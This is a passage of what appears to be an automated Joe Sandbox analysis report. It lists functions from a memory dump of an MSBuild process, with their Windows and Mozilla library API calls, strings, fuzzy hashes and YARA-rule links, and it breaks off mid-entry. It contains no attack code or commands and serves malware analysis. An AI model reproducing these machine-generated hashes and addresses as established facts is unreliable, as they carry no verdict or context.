Opcode Fuzzy Hash: bd7a5686cfbcca021041b3b3cc9ea0ed16c8010a3c424c170eba1cefcf6c3c3d
Instruction Fuzzy Hash: A151B3B1A012168FEB15CF55D880F6E73B2FF4A308F15052AD916ABB44E731F905CB91

Function 6C4627E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C462620,?,?,?,6C4560AA,6C455FCB,6C4579A3), ref: 6C46284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C462620,?,?,?,6C4560AA,6C455FCB,6C4579A3), ref: 6C46289A
free.MOZGLUE(?,?,?,6C462620,?,?,?,6C4560AA,6C455FCB,6C4579A3), ref: 6C4628F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C462620,?,?,?,6C4560AA,6C455FCB,6C4579A3), ref: 6C462910
free.MOZGLUE(00000001,?,?,6C462620,?,?,?,6C4560AA,6C455FCB,6C4579A3), ref: 6C46293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C462620,?,?,?,6C4560AA,6C455FCB,6C4579A3), ref: 6C46294E

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: b36786f82f21295e0980fb29485785bcf4611882a6ffde7f2d7b679317f50457
Instruction ID: 4e5e08773be0c3f076d3ef88a451338b1f48714ad7fc778ba599538e60067f1d
Opcode Fuzzy Hash: b36786f82f21295e0980fb29485785bcf4611882a6ffde7f2d7b679317f50457
Instruction Fuzzy Hash: 6D41B3B1B002169FEB24CF69D888F6A73F5AB85308F140539D557EBB44EB31E908CB51

Function 6C41CFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C49E784), ref: 6C41CFF6
LeaveCriticalSection.KERNEL32(6C49E784), ref: 6C41D026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C41D06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C41D139

Strings

MOZ_CRASH(), xrefs: 6C41D187

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: bf0668036a94ac0ae496b39cc55d680e4e596e07849632e58789ed99f66aca42
Instruction ID: e4d3b12268d48dfcb5d72d566565a12f1687406bdcfa9e245046cda89425df53
Opcode Fuzzy Hash: bf0668036a94ac0ae496b39cc55d680e4e596e07849632e58789ed99f66aca42
Instruction Fuzzy Hash: 8B41AE72F052268FDB15DE6C8CD0B6A7BB4FB59714F140139EA58E7B84D7A19C018BC2

Function 6C414DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C414E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C414E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C414EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C414F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C414F1E

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 71c77edbdc70f40e505b85f556037d101ec33e65e873f3367a383d165ccb7f51
Instruction ID: 4430d28420b44b8410e20104e43876de4ef5c1fb0d68e25266e85b1c24f6503f
Opcode Fuzzy Hash: 71c77edbdc70f40e505b85f556037d101ec33e65e873f3367a383d165ccb7f51
Instruction Fuzzy Hash: 0F41CD716087019FC705CF69C880E6BBBE4BF89398F109A2DF4A597B41DB30E919CB91

Function 6C47A820 Relevance: 7.6, APIs: 5, Instructions: 106stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C49F770), ref: 6C47A858
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C47A87B

Part of subcall function 6C47A9D0: memcpy.VCRUNTIME140(?,?,00000400,?,?,?,6C47A88F,00000000), ref: 6C47A9F1

_ltoa_s.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,00000020,0000000A), ref: 6C47A8FF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C47A90C
LeaveCriticalSection.KERNEL32(6C49F770), ref: 6C47A97E

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: CriticalSectionstrlen$EnterLeave_ltoa_smemcpy
String ID:
API String ID: 1355178011-0
Opcode ID: 0f12b5231cdc64835ab108d816b1ee33412c9f08bdf37723db61a27708cea31e
Instruction ID: 914c7eeea5c8d4f2ae3359cbcf19d85371ec53270afd3a99780047fc8b957b31
Opcode Fuzzy Hash: 0f12b5231cdc64835ab108d816b1ee33412c9f08bdf37723db61a27708cea31e
Instruction Fuzzy Hash: 274191B0E002048FDB10DFA4D845EDEBB75FF44324F148A29E816AB791D731D945CBA1

Function 6C421530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C42152B,?,?,?,?,6C421248,?), ref: 6C42159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C42152B,?,?,?,?,6C421248,?), ref: 6C4215BC
moz_xmalloc.MOZGLUE(-00000001,?,6C42152B,?,?,?,?,6C421248,?), ref: 6C4215E7
free.MOZGLUE(?,?,?,?,?,?,6C42152B,?,?,?,?,6C421248,?), ref: 6C421606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C42152B,?,?,?,?,6C421248,?), ref: 6C421637

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 256314f053fa109b6a6476a24324d6ec422b3e1162d3753d6284d2a25098116c
Instruction ID: bd7a87b0ccc72ca91d2870691673dab75b66fdf09b4db1b5b2e7ebf0c1975272
Opcode Fuzzy Hash: 256314f053fa109b6a6476a24324d6ec422b3e1162d3753d6284d2a25098116c
Instruction Fuzzy Hash: E931F172A001148BCB18CE78D852C6E73A9BB813747280B6DE823DBBD4EB36DD4587D1

Function 6C47AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C48E330,?,6C43C059), ref: 6C47AD9D

Part of subcall function 6C42CA10: malloc.MOZGLUE(?), ref: 6C42CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C48E330,?,6C43C059), ref: 6C47ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C48E330,?,6C43C059), ref: 6C47AE01
GetLastError.KERNEL32(?,00000000,?,?,6C48E330,?,6C43C059), ref: 6C47AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C48E330,?,6C43C059), ref: 6C47AE3D

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 0b1c6d66623fc83d0301c4530545c04fb35f8185a40388f556fa44452c62ff57
Instruction ID: da24101d17c1bc0319b3de7452ae970f7eb20421143ac2a6cb30df1b0824670f
Opcode Fuzzy Hash: 0b1c6d66623fc83d0301c4530545c04fb35f8185a40388f556fa44452c62ff57
Instruction Fuzzy Hash: 3E314CB1A012159FDB10DF799C45EABBBF8EF48614F15882DE84AD7740E734E804CBA0

Function 6C475EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C48DCA0,?,?,?,6C44E8B5,00000000), ref: 6C475F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C44E8B5,00000000), ref: 6C475F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C44E8B5,00000000), ref: 6C475F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C44E8B5,00000000), ref: 6C475F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C44E8B5,00000000), ref: 6C475FD6

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 94df14340200f5ce9f9e9e34618278c9c94b8071b72f345f917a5c1827642625
Instruction ID: f8b3ce20c73480dcb8938c646a3ba9f4a8b950346841a682e9dedf5274b83010
Opcode Fuzzy Hash: 94df14340200f5ce9f9e9e34618278c9c94b8071b72f345f917a5c1827642625
Instruction Fuzzy Hash: 16312C343006008FD720DF29C898F6ABBF5FF89319B644658E5568BBA5C731EC41CB90

Function 6C41B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C41B532
moz_xmalloc.MOZGLUE(?), ref: 6C41B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C41B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C41B57E
free.MOZGLUE(00000000), ref: 6C41B58F

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 2b8bb569065e6112a9124d306aabe7e1553e7b4ccc0eb69b7e96ddefeffa42a0
Instruction ID: 52e094de2542b679f49ae9328b1bf518c1941bf931bec6e4ec150dafd3cd760f
Opcode Fuzzy Hash: 2b8bb569065e6112a9124d306aabe7e1553e7b4ccc0eb69b7e96ddefeffa42a0
Instruction Fuzzy Hash: 5021E4B1A042159BDB00DF69CC40FBABBB9FF85318F284129E958DB781E776D911C7A0

Function 6C41B7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C41B7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C41B808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C41B82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C41B840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C41B849

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: 264269b726ab227eaf8e9d90026da8dbfebd85065465d9bcb8fbff19b1c523b5
Instruction ID: d92182b4007547b15b6b7ace900310a7f3c9e5888bb85ac6e076d2481f4afe2c
Opcode Fuzzy Hash: 264269b726ab227eaf8e9d90026da8dbfebd85065465d9bcb8fbff19b1c523b5
Instruction Fuzzy Hash: A6215AB0E002199FDF04DFA9C885DBEBBB4EF49718F148129EC56A7700E731A944CBA0

Function 6C476E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C476E78

Part of subcall function 6C476A10: InitializeCriticalSection.KERNEL32(6C49F618), ref: 6C476A68
Part of subcall function 6C476A10: GetCurrentProcess.KERNEL32 ref: 6C476A7D
Part of subcall function 6C476A10: GetCurrentProcess.KERNEL32 ref: 6C476AA1
Part of subcall function 6C476A10: EnterCriticalSection.KERNEL32(6C49F618), ref: 6C476AAE
Part of subcall function 6C476A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C476AE1
Part of subcall function 6C476A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C476B15
Part of subcall function 6C476A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C476B65
Part of subcall function 6C476A10: LeaveCriticalSection.KERNEL32(6C49F618,?,?), ref: 6C476B83

MozFormatCodeAddress.MOZGLUE ref: 6C476EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C476EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C476EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C476EFF

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 4ccef5d0a9c4269344c6dbaca0c37b3f1842dc12d58bb172307610fbbd457ec3
Instruction ID: 424fed38e226bb83378a82bdf056bd79d3bebc5cad635732d4352f5db6b1ecaf
Opcode Fuzzy Hash: 4ccef5d0a9c4269344c6dbaca0c37b3f1842dc12d58bb172307610fbbd457ec3
Instruction Fuzzy Hash: 32219071A0421A9FDB14DF69D885ADE77F9EF84308F044039E80997341EB709A588FA2

Function 6C450D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C413DEF), ref: 6C450D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C413DEF), ref: 6C450D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C413DEF), ref: 6C450DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C450D97, 6C450DBE
<jemalloc>, xrefs: 6C450D92, 6C450DB9

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 30f7a9256df8d22c3135968ec850baf5bed3ecef073b6ae83fd1854cf14725b0
Instruction ID: 1daae740d243a956f2cac64f595eeaa862ff3bcc0b6f7426ca71b2c7a33b6307
Opcode Fuzzy Hash: 30f7a9256df8d22c3135968ec850baf5bed3ecef073b6ae83fd1854cf14725b0
Instruction Fuzzy Hash: E2F0E9763803A823E630E5664C0AF5A7B5D6BC2B69F704035F615DAAC4DA50E41546A4

Function 6C475850 Relevance: 7.5, APIs: 5, Instructions: 41synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000000FF), ref: 6C47586C
CloseHandle.KERNEL32 ref: 6C475878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C475898
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C4758C9
free.MOZGLUE(00000000), ref: 6C4758D3

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: free$CloseHandleObjectSingleWait
String ID:
API String ID: 1910681409-0
Opcode ID: 64bfefaede631c1aef1d4152d432b2c7cc181a9dc3f510486c2147b2e29edd88
Instruction ID: f4b7953eb8ff326b599c29d89365d3ea3b6e0692accc5ab132f858be80ccf091
Opcode Fuzzy Hash: 64bfefaede631c1aef1d4152d432b2c7cc181a9dc3f510486c2147b2e29edd88
Instruction Fuzzy Hash: 6B018F717462219BEF00FF16980CF427BB8EBA333A7250135F01AC6211D7319824CF90

Function 6C467620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C4675C4,?), ref: 6C46762B

Part of subcall function 6C42CA10: malloc.MOZGLUE(?), ref: 6C42CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C4674D7,6C4715FC,?,?,?), ref: 6C467644
GetCurrentThreadId.KERNEL32 ref: 6C46765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C4674D7,6C4715FC,?,?,?), ref: 6C467663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C4674D7,6C4715FC,?,?,?), ref: 6C467677

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 19d4ebf140d1df2ea17995ac4115d0519ae7f53902334c8f77a7c98dae17fa1c
Instruction ID: 13c180022ba53c3425dae75df735c4bb94e974cf3be4932a3717ab740fe2c208
Opcode Fuzzy Hash: 19d4ebf140d1df2ea17995ac4115d0519ae7f53902334c8f77a7c98dae17fa1c
Instruction Fuzzy Hash: D6F0C271E10755ABE700DF21C888A76B778FFFA659F11431AF90453601E7B0A5D08BD0

Function 6C471700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C471800

Part of subcall function 6C44CBE8: GetCurrentProcess.KERNEL32(?,6C4131A7), ref: 6C44CBF1
Part of subcall function 6C44CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4131A7), ref: 6C44CBFA

Part of subcall function 6C414290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C453EBD,6C453EBD,00000000), ref: 6C4142A9

Strings

Details, xrefs: 6C471925
name, xrefs: 6C471939
{marker.name} - {marker.data.name}, xrefs: 6C4718C7

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: 26f8961514d335d786bc821ce163c1462fbbc08b1c5ae51a12ccc19e8ae6ae44
Instruction ID: 8f34d615b6a58bbd7f19a60b1800fcd61dcd8da2ebbc11a3b25e221991a43f34
Opcode Fuzzy Hash: 26f8961514d335d786bc821ce163c1462fbbc08b1c5ae51a12ccc19e8ae6ae44
Instruction Fuzzy Hash: 9071E2B0A002569FD704DF28D490FAABBB1FF85314F10466DD8594BB41DB70E6A8CBE1

Function 6C43D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C44CBE8: GetCurrentProcess.KERNEL32(?,6C4131A7), ref: 6C44CBF1
Part of subcall function 6C44CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4131A7), ref: 6C44CBFA

EnterCriticalSection.KERNEL32(6C49E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C44D1C5), ref: 6C43D4F2
LeaveCriticalSection.KERNEL32(6C49E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C44D1C5), ref: 6C43D50B

Part of subcall function 6C41CFE0: EnterCriticalSection.KERNEL32(6C49E784), ref: 6C41CFF6
Part of subcall function 6C41CFE0: LeaveCriticalSection.KERNEL32(6C49E784), ref: 6C41D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C44D1C5), ref: 6C43D52E
EnterCriticalSection.KERNEL32(6C49E7DC), ref: 6C43D690
LeaveCriticalSection.KERNEL32(6C49E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C44D1C5), ref: 6C43D751

Strings

MOZ_CRASH(), xrefs: 6C43D4BB

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 1b66d2f7f8d350ffc5486c4bb40330d66a6b8d6e47b6cfefa3f0393c1ecf4ecf
Instruction ID: 3c0afbbbc939b8c57e8617fb21f7d2646cc62e637575d8ca04d99be2e240f355
Opcode Fuzzy Hash: 1b66d2f7f8d350ffc5486c4bb40330d66a6b8d6e47b6cfefa3f0393c1ecf4ecf
Instruction Fuzzy Hash: E451B271A047618FE768DF29C094F1ABBF1EB89714F24892EE5A9C7B44D770E804CB91

Function 6C464630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

